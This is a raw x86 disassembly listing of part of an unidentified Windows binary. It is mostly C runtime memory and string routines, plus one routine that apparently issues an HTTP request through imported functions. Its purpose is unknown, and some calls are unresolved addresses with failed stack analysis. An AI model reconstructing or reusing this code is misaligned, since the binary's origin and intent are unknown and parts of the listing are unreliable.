		mov	eax, [ebp+arg_0]
		add	esp, 50h
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41AA43	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ACF7	proc near		; CODE XREF: sub_401ACD+279Dp
					; sub_401ACD+72F6p

var_8C		= byte ptr -8Ch
var_C		= byte ptr -0Ch
var_8		= byte ptr -8
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h

		push	ebp
		mov	ebp, esp
		sub	esp, 8Ch
		push	esi
		mov	esi, 80h
		push	esi
		lea	eax, [ebp+var_8C]
		push	0
		push	eax
		call	sub_41B590
		add	esp, 0Ch
		cmp	dword_4CB73C, 0
		jnz	short loc_41AD63
		push	0
		lea	eax, [ebp+var_8C]
		push	esi
		push	eax
		lea	eax, [ebp+var_C]
		push	eax
		call	dword_4CB518
		test	eax, eax
		jnz	short loc_41AD4C
		lea	eax, [ebp+var_8C]
		push	offset dword_43A87C
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AD4C:				; CODE XREF: sub_41ACF7+40j
		test	[ebp+var_C], 1
		jz	short loc_41AD59
		push	offset dword_43A874
		jmp	short loc_41AD5E
; ---------------------------------------------------------------------------


loc_41AD59:				; CODE XREF: sub_41ACF7+59j
		push	offset off_43A870


loc_41AD5E:				; CODE XREF: sub_41ACF7+60j
		lea	eax, [ebp+var_8]
		jmp	short loc_41AD7B
; ---------------------------------------------------------------------------


loc_41AD63:				; CODE XREF: sub_41ACF7+28j
		mov	esi, offset off_43A86C
		lea	eax, [ebp+var_8]
		push	esi
		push	eax
		call	sub_41B886
		pop	ecx
		lea	eax, [ebp+var_8C]
		pop	ecx
		push	esi


loc_41AD7B:				; CODE XREF: sub_41ACF7+6Aj
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx
		push	[ebp+arg_4]
		push	[ebp+arg_8]
		call	sub_40AC10
		pop	ecx
		push	eax
		lea	eax, [ebp+var_8C]
		push	eax
		lea	eax, [ebp+var_8]
		push	eax
		push	offset dword_43A828
		push	200h
		push	[ebp+arg_0]
		call	sub_41B980
		mov	eax, [ebp+arg_0]
		add	esp, 1Ch
		pop	esi
		leave
		retn
sub_41ACF7	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41ADB6	proc near		; DATA XREF: sub_401ACD+7715o

var_65C		= byte ptr -65Ch
var_55C		= byte ptr -55Ch
var_35C		= dword	ptr -35Ch
var_358		= byte ptr -358h
var_2D8		= byte ptr -2D8h
var_258		= byte ptr -258h
var_1D8		= dword	ptr -1D8h
var_1D4		= dword	ptr -1D4h
var_1D0		= dword	ptr -1D0h
var_1C8		= byte ptr -1C8h
var_148		= byte ptr -148h
var_C8		= byte ptr -0C8h
var_48		= dword	ptr -48h
var_38		= dword	ptr -38h
var_34		= dword	ptr -34h
var_30		= word ptr -30h
var_2C		= dword	ptr -2Ch
var_28		= dword	ptr -28h
var_24		= dword	ptr -24h
var_20		= dword	ptr -20h
var_1C		= dword	ptr -1Ch
var_18		= dword	ptr -18h
var_C		= dword	ptr -0Ch
var_8		= dword	ptr -8
var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		sub	esp, 65Ch
		mov	eax, [ebp+arg_0]
		push	ebx
		push	esi
		push	edi
		push	65h
		mov	esi, eax
		pop	ecx
		lea	edi, [ebp+var_35C]
		rep movsd
		push	1
		mov	edi, 80h
		pop	esi
		xor	ebx, ebx
		mov	[eax+190h], esi
		push	edi
		lea	eax, [ebp+var_148]
		push	ebx
		push	eax
		mov	[ebp+var_C], ebx
		mov	[ebp+var_4], ebx
		mov	[ebp+var_8], offset dword_43A95C
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_1C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	edi
		lea	eax, [ebp+var_C8]
		push	ebx
		push	eax
		call	sub_41B590
		push	100h
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		call	sub_41B590
		push	3Ch
		lea	eax, [ebp+var_48]
		pop	edi
		push	edi
		push	ebx
		push	eax
		call	sub_41B590
		add	esp, 3Ch
		lea	eax, [ebp+var_48]
		mov	[ebp+var_48], edi
		mov	[ebp+var_34], esi
		push	eax
		lea	eax, [ebp+var_358]
		push	ebx
		push	eax
		mov	[ebp+var_28], esi
		mov	[ebp+var_20], esi
		mov	[ebp+var_18], esi
		call	sub_41AFE0
		pop	ecx
		push	eax
		lea	eax, [ebp+var_358]
		push	eax
		call	dword_4CB550
		test	eax, eax
		jz	loc_41AF50
		cmp	[ebp+var_34], ebx
		jbe	short loc_41AE8D
		push	[ebp+var_34]
		lea	eax, [ebp+var_148]
		push	[ebp+var_38]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AE8D:				; CODE XREF: sub_41ADB6+C0j
		cmp	[ebp+var_28], ebx
		movzx	esi, [ebp+var_30]
		jbe	short loc_41AEAB
		push	[ebp+var_28]
		lea	eax, [ebp+var_1C8]
		push	[ebp+var_2C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEAB:				; CODE XREF: sub_41ADB6+DEj
		cmp	[ebp+var_20], ebx
		jbe	short loc_41AEC5
		push	[ebp+var_20]
		lea	eax, [ebp+var_C8]
		push	[ebp+var_24]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEC5:				; CODE XREF: sub_41ADB6+F8j
		cmp	[ebp+var_18], ebx
		jbe	short loc_41AEDF
		push	[ebp+var_18]
		lea	eax, [ebp+var_65C]
		push	[ebp+var_1C]
		push	eax
		call	sub_41B5F0
		add	esp, 0Ch


loc_41AEDF:				; CODE XREF: sub_41ADB6+112j
		push	ebx
		push	ebx
		lea	eax, [ebp+var_C8]
		push	3
		push	eax
		lea	eax, [ebp+var_1C8]
		push	eax
		lea	eax, [ebp+var_148]
		push	esi
		push	eax
		push	dword_4CB604
		call	dword_4CB628
		mov	esi, eax
		cmp	esi, ebx
		jz	short loc_41AF68
		push	ebx
		lea	eax, [ebp+var_8]
		push	200h
		push	eax
		lea	eax, [ebp+var_2D8]
		push	eax
		lea	eax, [ebp+var_65C]
		push	ebx
		push	eax
		push	ebx
		push	esi
		call	dword_4CB61C
		cmp	eax, ebx
		mov	[ebp+var_4], eax
		jz	short loc_41AF6F
		push	ebx
		push	ebx
		push	ebx
		push	ebx
		push	eax
		call	dword_4CB5C8
		test	eax, eax
		jz	short loc_41AF49
		push	offset dword_43A940
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF49:				; CODE XREF: sub_41ADB6+18Aj
		push	offset unk_43A904
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF50:				; CODE XREF: sub_41ADB6+B7j
		lea	eax, [ebp+var_55C]
		push	offset dword_43A8E8
		push	eax
		call	sub_41B886
		mov	esi, [ebp+var_C]
		pop	ecx
		pop	ecx
		jmp	short loc_41AF82
; ---------------------------------------------------------------------------


loc_41AF68:				; CODE XREF: sub_41ADB6+153j
		push	offset unk_43A8BC
		jmp	short loc_41AF74
; ---------------------------------------------------------------------------


loc_41AF6F:				; CODE XREF: sub_41ADB6+17Bj
		push	offset unk_43A88C


loc_41AF74:				; CODE XREF: sub_41ADB6+191j
					; sub_41ADB6+198j ...
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_41B886
		pop	ecx
		pop	ecx


loc_41AF82:				; CODE XREF: sub_41ADB6+1B0j
		cmp	[ebp+var_1D4], ebx
		jnz	short loc_41AFAD
		push	ebx
		lea	eax, [ebp+var_55C]
		push	[ebp+var_1D0]
		push	eax
		lea	eax, [ebp+var_258]
		push	eax
		push	[ebp+var_35C]
		call	sub_409A73
		add	esp, 14h


loc_41AFAD:				; CODE XREF: sub_41ADB6+1D2j
		lea	eax, [ebp+var_55C]
		push	eax
		call	sub_4151AD
		pop	ecx
		push	esi
		call	dword_4CB688
		push	[ebp+var_4]
		call	dword_4CB688
		push	[ebp+var_1D8]
		call	sub_40B413
		pop	ecx
		push	ebx
		call	near ptr 26F08BFh
		nop
		pop	edi
		pop	esi
		pop	ebx
sub_41ADB6	endp ; sp-analysis failed


; =============== S U B	R O U T	I N E =======================================



sub_41AFE0	proc near		; CODE XREF: sub_401000+34p
					; ___:0040136Ep ...

arg_0		= dword	ptr  4

		mov	ecx, [esp+arg_0]
		test	ecx, 3
		jz	short loc_41B000


loc_41AFEC:				; CODE XREF: sub_41AFE0+19j
		mov	al, [ecx]
		inc	ecx
		test	al, al
		jz	short loc_41B033
		test	ecx, 3
		jnz	short loc_41AFEC
		add	eax, 0


loc_41B000:				; CODE XREF: sub_41AFE0+Aj
					; sub_41AFE0+36j ...
		mov	eax, [ecx]
		mov	edx, 7EFEFEFFh
		add	edx, eax
		xor	eax, 0FFFFFFFFh
		xor	eax, edx
		add	ecx, 4
		test	eax, 81010100h
		jz	short loc_41B000
		mov	eax, [ecx-4]
		test	al, al
		jz	short loc_41B051
		test	ah, ah
		jz	short loc_41B047
		test	eax, 0FF0000h
		jz	short loc_41B03D
		test	eax, 0FF000000h
		jz	short loc_41B033
		jmp	short loc_41B000
; ---------------------------------------------------------------------------


loc_41B033:				; CODE XREF: sub_41AFE0+11j
					; sub_41AFE0+4Fj
		lea	eax, [ecx-1]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B03D:				; CODE XREF: sub_41AFE0+48j
		lea	eax, [ecx-2]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B047:				; CODE XREF: sub_41AFE0+41j
		lea	eax, [ecx-3]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
; ---------------------------------------------------------------------------


loc_41B051:				; CODE XREF: sub_41AFE0+3Dj
		lea	eax, [ecx-4]
		mov	ecx, [esp+arg_0]
		sub	eax, ecx
		retn
sub_41AFE0	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B05B	proc near		; CODE XREF: sub_4010AB+64p
					; sub_401ACD+58DBp ...

arg_0		= dword	ptr  4

		push	esi
		mov	esi, [esp+4+arg_0]
		push	edi
		or	edi, 0FFFFFFFFh
		mov	eax, [esi+0Ch]
		test	al, 40h
		jz	short loc_41B070
		or	eax, 0FFFFFFFFh
		jmp	short loc_41B0AA
; ---------------------------------------------------------------------------


loc_41B070:				; CODE XREF: sub_41B05B+Ej
		test	al, 83h
		jz	short loc_41B0A8
		push	esi
		call	sub_41DB8B
		push	esi
		mov	edi, eax
		call	sub_41DB25
		push	dword ptr [esi+10h]
		call	sub_41DA72
		add	esp, 0Ch
		test	eax, eax
		jge	short loc_41B096
		or	edi, 0FFFFFFFFh
		jmp	short loc_41B0A8
; ---------------------------------------------------------------------------


loc_41B096:				; CODE XREF: sub_41B05B+34j
		mov	eax, [esi+1Ch]
		test	eax, eax
		jz	short loc_41B0A8
		push	eax
		call	sub_41B0B1
		and	dword ptr [esi+1Ch], 0
		pop	ecx


loc_41B0A8:				; CODE XREF: sub_41B05B+17j
					; sub_41B05B+39j ...
		mov	eax, edi


loc_41B0AA:				; CODE XREF: sub_41B05B+13j
		and	dword ptr [esi+0Ch], 0
		pop	edi
		pop	esi
		retn
sub_41B05B	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B0B1	proc near		; CODE XREF: sub_4010AB+5Ep
					; sub_40AB32+B1p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8

		push	ebp
		mov	ebp, esp
		push	ecx
		push	esi
		mov	esi, [ebp+arg_0]
		test	esi, esi
		jz	short loc_41B117
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	short loc_41B0DD
		push	esi
		call	sub_41DE77
		pop	ecx
		test	eax, eax
		push	esi
		jz	short loc_41B109
		push	eax
		call	sub_41DEA2
		pop	ecx
		pop	ecx
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B0DD:				; CODE XREF: sub_41B0B1+14j
		cmp	eax, 2
		jnz	short loc_41B108
		lea	eax, [ebp+arg_0]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	esi
		call	sub_41EBD2
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B108
		push	eax
		push	[ebp+arg_0]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 0Ch
		jmp	short loc_41B117
; ---------------------------------------------------------------------------


loc_41B108:				; CODE XREF: sub_41B0B1+2Fj
					; sub_41B0B1+44j
		push	esi


loc_41B109:				; CODE XREF: sub_41B0B1+20j
		push	0
		push	dword_4DCFE4
		call	near ptr 27B0000h
		nop


loc_41B117:				; CODE XREF: sub_41B0B1+Aj
					; sub_41B0B1+2Aj ...
		pop	esi
		leave
		retn
sub_41B0B1	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B11A	proc near		; CODE XREF: sub_4010AB+45p
					; ___:0040F08Ap

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch
arg_8		= dword	ptr  10h
arg_C		= dword	ptr  14h

		push	ebp
		mov	ebp, esp
		push	ecx
		push	ebx
		push	esi
		push	edi
		mov	edi, [ebp+arg_4]
		imul	edi, [ebp+arg_8]
		mov	ebx, [ebp+arg_0]
		mov	ecx, edi
		test	edi, edi
		mov	[ebp+var_4], edi
		mov	[ebp+arg_0], ecx
		jnz	short loc_41B13E
		xor	eax, eax
		jmp	loc_41B1E7
; ---------------------------------------------------------------------------


loc_41B13E:				; CODE XREF: sub_41B11A+1Bj
		mov	esi, [ebp+arg_C]
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B151
		mov	eax, [esi+18h]
		mov	[ebp+arg_C], eax
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B151:				; CODE XREF: sub_41B11A+2Dj
		mov	[ebp+arg_C], 1000h
		jmp	short loc_41B15D
; ---------------------------------------------------------------------------


loc_41B15A:				; CODE XREF: sub_41B11A+C4j
		mov	ecx, [ebp+arg_0]


loc_41B15D:				; CODE XREF: sub_41B11A+35j
					; sub_41B11A+3Ej
		test	word ptr [esi+0Ch], 10Ch
		jz	short loc_41B18F
		mov	eax, [esi+4]
		test	eax, eax
		jz	short loc_41B18F
		cmp	ecx, eax
		mov	edi, ecx
		jb	short loc_41B174
		mov	edi, eax


loc_41B174:				; CODE XREF: sub_41B11A+56j
		push	edi
		push	dword ptr [esi]
		push	ebx
		call	sub_41C310
		sub	[ebp+arg_0], edi
		sub	[esi+4], edi
		add	[esi], edi
		add	esp, 0Ch
		add	ebx, edi
		mov	edi, [ebp+var_4]
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B18F:				; CODE XREF: sub_41B11A+49j
					; sub_41B11A+50j
		cmp	ecx, [ebp+arg_C]
		jb	short loc_41B1C2
		cmp	[ebp+arg_C], 0
		mov	eax, ecx
		jz	short loc_41B1A5
		xor	edx, edx
		div	[ebp+arg_C]
		mov	eax, ecx
		sub	eax, edx


loc_41B1A5:				; CODE XREF: sub_41B11A+80j
		push	eax
		push	ebx
		push	dword ptr [esi+10h]
		call	sub_41F11C
		add	esp, 0Ch
		test	eax, eax
		jz	short loc_41B1EC
		cmp	eax, 0FFFFFFFFh
		jz	short loc_41B1F2
		sub	[ebp+arg_0], eax
		add	ebx, eax
		jmp	short loc_41B1DA
; ---------------------------------------------------------------------------


loc_41B1C2:				; CODE XREF: sub_41B11A+78j
		push	esi
		call	sub_41F043
		cmp	eax, 0FFFFFFFFh
		pop	ecx
		jz	short loc_41B1F6
		mov	[ebx], al
		mov	eax, [esi+18h]
		inc	ebx
		dec	[ebp+arg_0]
		mov	[ebp+arg_C], eax


loc_41B1DA:				; CODE XREF: sub_41B11A+73j
					; sub_41B11A+A6j
		cmp	[ebp+arg_0], 0
		jnz	loc_41B15A
		mov	eax, [ebp+arg_8]


loc_41B1E7:				; CODE XREF: sub_41B11A+1Fj
					; sub_41B11A+E6j
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------


loc_41B1EC:				; CODE XREF: sub_41B11A+9Aj
		or	dword ptr [esi+0Ch], 10h
		jmp	short loc_41B1F6
; ---------------------------------------------------------------------------


loc_41B1F2:				; CODE XREF: sub_41B11A+9Fj
		or	dword ptr [esi+0Ch], 20h


loc_41B1F6:				; CODE XREF: sub_41B11A+B2j
					; sub_41B11A+D6j
		mov	eax, edi
		xor	edx, edx
		sub	eax, [ebp+arg_0]
		div	[ebp+arg_4]
		jmp	short loc_41B1E7
sub_41B11A	endp


; =============== S U B	R O U T	I N E =======================================

; Attributes: bp-based frame


sub_41B202	proc near		; CODE XREF: sub_4010AB+2Ep
					; sub_41CFD3+35p ...

var_4		= dword	ptr -4
arg_0		= dword	ptr  8
arg_4		= dword	ptr  0Ch

		push	ebp
		mov	ebp, esp
		push	ecx
		cmp	[ebp+arg_0], 0
		push	ebx
		push	esi
		push	edi
		jnz	short loc_41B21D
		push	[ebp+arg_4]
		call	sub_41B4D5
		pop	ecx
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B21D:				; CODE XREF: sub_41B202+Bj
		mov	esi, [ebp+arg_4]
		test	esi, esi
		jnz	short loc_41B232
		push	[ebp+arg_0]
		call	sub_41B0B1
		pop	ecx
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B232:				; CODE XREF: sub_41B202+20j
		mov	eax, dword_4DCFE8
		cmp	eax, 3
		jnz	loc_41B342


loc_41B240:				; CODE XREF: sub_41B202+12Ej
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B31E
		push	[ebp+arg_0]
		call	sub_41DE77
		mov	ebx, eax
		pop	ecx
		test	ebx, ebx
		jz	loc_41B2F9
		cmp	esi, dword_4DCFE0
		ja	short loc_41B2B2
		mov	edi, [ebp+arg_0]
		push	esi
		push	edi
		push	ebx
		call	sub_41E680
		add	esp, 0Ch
		test	eax, eax
		jnz	short loc_41B2AE
		push	esi
		call	sub_41E1CB
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B2B2
		mov	ebx, [ebp+arg_0]
		mov	eax, [ebx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B292
		mov	eax, esi


loc_41B292:				; CODE XREF: sub_41B202+8Cj
		push	eax
		push	ebx
		push	edi
		call	sub_41C310
		push	ebx
		call	sub_41DE77
		push	[ebp+arg_0]
		mov	ebx, eax
		push	ebx
		call	sub_41DEA2
		add	esp, 18h


loc_41B2AE:				; CODE XREF: sub_41B202+74j
		test	edi, edi
		jnz	short loc_41B2F5


loc_41B2B2:				; CODE XREF: sub_41B202+62j
					; sub_41B202+81j
		test	esi, esi
		jnz	short loc_41B2B9
		push	1
		pop	esi


loc_41B2B9:				; CODE XREF: sub_41B202+B2j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B2F5
		mov	ecx, [ebp+arg_0]
		mov	eax, [ecx-4]
		dec	eax
		cmp	eax, esi
		jb	short loc_41B2E1
		mov	eax, esi


loc_41B2E1:				; CODE XREF: sub_41B202+DBj
		push	eax
		push	ecx
		push	edi
		call	sub_41C310
		push	[ebp+arg_0]
		push	ebx
		call	sub_41DEA2
		add	esp, 14h


loc_41B2F5:				; CODE XREF: sub_41B202+AEj
					; sub_41B202+D0j
		test	ebx, ebx
		jnz	short loc_41B31A


loc_41B2F9:				; CODE XREF: sub_41B202+56j
		test	esi, esi
		jnz	short loc_41B300
		push	1
		pop	esi


loc_41B300:				; CODE XREF: sub_41B202+F9j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41B31A:				; CODE XREF: sub_41B202+F5j
		test	edi, edi
		jnz	short loc_41B33B


loc_41B31E:				; CODE XREF: sub_41B202+43j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B240
		jmp	loc_41B49B
; ---------------------------------------------------------------------------


loc_41B33B:				; CODE XREF: sub_41B202+11Aj
					; sub_41B202+123j ...
		mov	eax, edi
		jmp	loc_41B49D
; ---------------------------------------------------------------------------


loc_41B342:				; CODE XREF: sub_41B202+38j
		cmp	eax, 2
		jnz	loc_41B45D
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B35F
		test	esi, esi
		jbe	short loc_41B35C
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B35F
; ---------------------------------------------------------------------------


loc_41B35C:				; CODE XREF: sub_41B202+150j
		push	10h
		pop	esi


loc_41B35F:				; CODE XREF: sub_41B202+14Cj
					; sub_41B202+158j ...
		xor	edi, edi
		cmp	esi, 0FFFFFFE0h
		ja	loc_41B43F
		lea	eax, [ebp+arg_4]
		push	eax
		lea	eax, [ebp+var_4]
		push	eax
		push	[ebp+arg_0]
		call	sub_41EBD2
		mov	ebx, eax
		add	esp, 0Ch
		test	ebx, ebx
		jz	loc_41B423
		cmp	esi, dword_43C9D4
		jnb	short loc_41B3E7
		mov	edi, esi
		shr	edi, 4
		push	edi
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EF9A
		add	esp, 10h
		test	eax, eax
		jz	short loc_41B3AD
		mov	edi, [ebp+arg_0]
		jmp	short loc_41B3DF
; ---------------------------------------------------------------------------


loc_41B3AD:				; CODE XREF: sub_41B202+1A4j
		push	edi
		call	sub_41EC6E
		mov	edi, eax
		pop	ecx
		test	edi, edi
		jz	short loc_41B3E7
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B3C6
		mov	eax, esi


loc_41B3C6:				; CODE XREF: sub_41B202+1C0j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h


loc_41B3DF:				; CODE XREF: sub_41B202+1A9j
		test	edi, edi
		jnz	loc_41B33B


loc_41B3E7:				; CODE XREF: sub_41B202+18Bj
					; sub_41B202+1B6j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27C0000h
		mov	edi, eax
		test	edi, edi
		jz	short loc_41B43F
		movzx	eax, byte ptr [ebx]
		shl	eax, 4
		cmp	eax, esi
		jb	short loc_41B408
		mov	eax, esi


loc_41B408:				; CODE XREF: sub_41B202+202j
		push	eax
		push	[ebp+arg_0]
		push	edi
		call	sub_41C310
		push	ebx
		push	[ebp+arg_4]
		push	[ebp+var_4]
		call	sub_41EC29
		add	esp, 18h
		jmp	short loc_41B437
; ---------------------------------------------------------------------------


loc_41B423:				; CODE XREF: sub_41B202+17Fj
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2850000h
		mov	edi, eax


loc_41B437:				; CODE XREF: sub_41B202+21Fj
		test	edi, edi
		jnz	loc_41B33B


loc_41B43F:				; CODE XREF: sub_41B202+162j
					; sub_41B202+1F8j
		cmp	dword_4DB9DC, 0
		jz	loc_41B33B
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	loc_41B35F
		jmp	short loc_41B49B
; ---------------------------------------------------------------------------


loc_41B45D:				; CODE XREF: sub_41B202+143j
					; sub_41B202+297j
		xor	eax, eax
		cmp	esi, 0FFFFFFE0h
		ja	short loc_41B487
		test	esi, esi
		jnz	short loc_41B46B
		push	1
		pop	esi


loc_41B46B:				; CODE XREF: sub_41B202+264j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h
		push	esi
		push	[ebp+arg_0]
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 2850000h
		test	eax, eax
		jnz	short loc_41B49D


loc_41B487:				; CODE XREF: sub_41B202+260j
		cmp	dword_4DB9DC, 0
		jz	short loc_41B49D
		push	esi
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B45D


loc_41B49B:				; CODE XREF: sub_41B202+2Bj
					; sub_41B202+134j ...
		xor	eax, eax


loc_41B49D:				; CODE XREF: sub_41B202+16j
					; sub_41B202+13Bj ...
		pop	edi
		pop	esi
		pop	ebx
		leave
		retn
sub_41B202	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4A2	proc near		; CODE XREF: sub_41B4C2+Ap

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8
arg_8		= dword	ptr  0Ch

		call	sub_41F49D
		test	eax, eax
		jnz	short loc_41B4AC
		retn
; ---------------------------------------------------------------------------


loc_41B4AC:				; CODE XREF: sub_41B4A2+7j
		push	eax
		push	[esp+4+arg_8]
		push	[esp+8+arg_4]
		push	[esp+0Ch+arg_0]
		call	sub_41F32D
		add	esp, 10h
		retn
sub_41B4A2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4C2	proc near		; CODE XREF: sub_4010AB+18p
					; sub_401ACD+58AFp ...

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		push	40h
		push	[esp+4+arg_4]
		push	[esp+8+arg_0]
		call	sub_41B4A2
		add	esp, 0Ch
		retn
sub_41B4C2	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4D5	proc near		; CODE XREF: sub_4010AB+6p
					; sub_40AB32+63p ...

arg_0		= dword	ptr  4

		push	dword_4DB9DC
		push	[esp+4+arg_0]
		call	sub_41B4E7
		pop	ecx
		pop	ecx
		retn
sub_41B4D5	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B4E7	proc near		; CODE XREF: sub_41B4D5+Ap
					; sub_41CFC5+6p

arg_0		= dword	ptr  4
arg_4		= dword	ptr  8

		cmp	[esp+arg_0], 0FFFFFFE0h
		ja	short loc_41B510


loc_41B4EE:				; CODE XREF: sub_41B4E7+27j
		push	[esp+arg_0]
		call	sub_41B513
		test	eax, eax
		pop	ecx
		jnz	short locret_41B512
		cmp	[esp+arg_4], eax
		jz	short locret_41B512
		push	[esp+arg_0]
		call	sub_41F312
		test	eax, eax
		pop	ecx
		jnz	short loc_41B4EE


loc_41B510:				; CODE XREF: sub_41B4E7+5j
		xor	eax, eax

locret_41B512:				; CODE XREF: sub_41B4E7+13j
					; sub_41B4E7+19j
		retn
sub_41B4E7	endp


; =============== S U B	R O U T	I N E =======================================



sub_41B513	proc near		; CODE XREF: sub_41B4E7+Bp

arg_0		= dword	ptr  4

		mov	eax, dword_4DCFE8
		push	esi
		mov	esi, [esp+4+arg_0]
		cmp	eax, 3
		jnz	short loc_41B537
		cmp	esi, dword_4DCFE0
		ja	short loc_41B569
		push	esi
		call	sub_41E1CB
		test	eax, eax
		pop	ecx
		jz	short loc_41B569
		pop	esi
		retn
; ---------------------------------------------------------------------------


loc_41B537:				; CODE XREF: sub_41B513+Dj
		cmp	eax, 2
		jnz	short loc_41B569
		mov	eax, [esp+4+arg_0]
		test	eax, eax
		jz	short loc_41B54C
		lea	esi, [eax+0Fh]
		and	esi, 0FFFFFFF0h
		jmp	short loc_41B54F
; ---------------------------------------------------------------------------


loc_41B54C:				; CODE XREF: sub_41B513+2Fj
		push	10h
		pop	esi


loc_41B54F:				; CODE XREF: sub_41B513+37j
		cmp	esi, dword_43C9D4
		ja	short loc_41B576
		mov	eax, esi
		shr	eax, 4
		push	eax
		call	sub_41EC6E
		test	eax, eax
		pop	ecx
		jnz	short loc_41B585
		jmp	short loc_41B576
; ---------------------------------------------------------------------------


loc_41B569:				; CODE XREF: sub_41B513+15j
					; sub_41B513+20j ...
		test	esi, esi
		jnz	short loc_41B570
		push	1
		pop	esi


loc_41B570:				; CODE XREF: sub_41B513+58j
		add	esi, 0Fh
		and	esi, 0FFFFFFF0h


loc_41B576:				; CODE XREF: sub_41B513+42j
					; sub_41B513+54j
		push	esi
		push	0
		push	dword_4DCFE4
		nop
		call	near ptr 27C0000h


loc_41B585:				; CODE XREF: sub_41B513+52j
		pop	esi
		retn
sub_41B513	endp

; ---------------------------------------------------------------------------
		align 10h

; =============== S U B	R O U T	I N E =======================================



sub_41B590	proc near		; CODE XREF: sub_40111D+3Cp
					; sub_40111D+4Ap ...

arg_0		= dword	ptr  4
arg_4		= byte ptr  8
arg_8		= dword	ptr  0Ch

		mov	edx, [esp+arg_8]
		mov	ecx, [esp+arg_0]
		test	edx, edx
		jz	short loc_41B5E3
		xor	eax, eax
		mov	al, [esp+arg_4]
		push	edi
		mov	edi, ecx
		cmp	edx, 4
		jb	short loc_41B5D7
		neg	ecx
		and	ecx, 3
		jz	short loc_41B5B9
		sub	edx, ecx


loc_41B5B3:				; CODE XREF: sub_41B590+27j
		mov	[edi], al
		inc	edi
		dec	ecx
		jnz	short loc_41B5B3


loc_41B5B9:				; CODE XREF: sub_41B590+1Fj
		mov	ecx, eax
		shl	eax, 8
		add	eax, ecx
		mov	ecx, eax
		shl	eax, 10h
		add	eax, ecx
		mov	ecx, edx
		and	edx, 3
		shr	ecx, 2
		jz	short loc_41B5D7
		rep stosd
		test	edx, edx
		jz	short loc_41B5DD


loc_41B5D7:				; CODE XREF: sub_41B590+18j
					; sub_41B590+3Fj ...
		mov	[edi], al
		inc	edi
		dec	edx
		jnz	short loc_41B5D7


loc_41B5DD:				; CODE XREF: sub_41B590+45j
		mov	eax, [esp+4+arg_0]
		pop	edi
		retn
; ---------------------------------------------------------------------------


loc_41B5E3:				; CODE XREF: sub_41B590+Aj
		mov	eax, [esp+arg_0]
		retn
sub_41B590	endp

; ---------------------------------------------------------------------------
		align 10h

